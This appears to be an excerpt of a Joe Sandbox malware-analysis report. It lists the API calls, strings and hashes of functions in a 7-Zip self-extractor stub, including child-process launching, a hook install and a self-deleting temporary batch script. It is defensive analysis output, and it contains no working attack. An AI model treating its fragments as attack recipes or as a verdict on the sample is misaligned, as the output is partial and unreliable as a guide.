SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,005F91C8,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

%04X%c%04X%c, xrefs: 0040216F
SetProcessPreferredUILanguages, xrefs: 00402138
kernel32, xrefs: 0040213D, 00402142, 00402189
SetThreadPreferredUILanguages, xrefs: 00402184

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

" -, xrefs: 004054D5
sfxwaitall, xrefs: 004054D0

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44
.lnk, xrefs: 00403D92

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 38.7, APIs: 3, Strings: 19, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004050E7
_wtol.MSVCRT ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(005F91C8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(005F91C8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

GUIMode, xrefs: 00404FFF
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
_, xrefs: 00404F56, 00404F77
ExtractDialogText, xrefs: 004050B8
ExtractPathWidth, xrefs: 004050F0
Title, xrefs: 00404F1C
OverwriteMode, xrefs: 0040502C
WarningTitle, xrefs: 00404FA2
ExtractPathTitle, xrefs: 0040510C
ErrorTitle, xrefs: 00404F8A
ExtractTitle, xrefs: 00404FBA
ExtractDialogWidth, xrefs: 004050C9
PasswordText, xrefs: 0040516C
ExtractCancelText, xrefs: 004050AC
PasswordTitle, xrefs: 00405154
ExtractPathText, xrefs: 00405124
CancelPrompt, xrefs: 0040513C
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
Progress, xrefs: 00404FD2

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle$_
API String ID: 2725485552-880467176
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946

Strings

7ZSfx%03x.cmd, xrefs: 004057EC
open, xrefs: 004058F7
", xrefs: 0040584D, 00405852, 00405896
del ", xrefs: 00405833, 00405838, 00405881
if exist ", xrefs: 0040585B
" goto Repeat, xrefs: 00405874
:Repeat, xrefs: 00405826

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
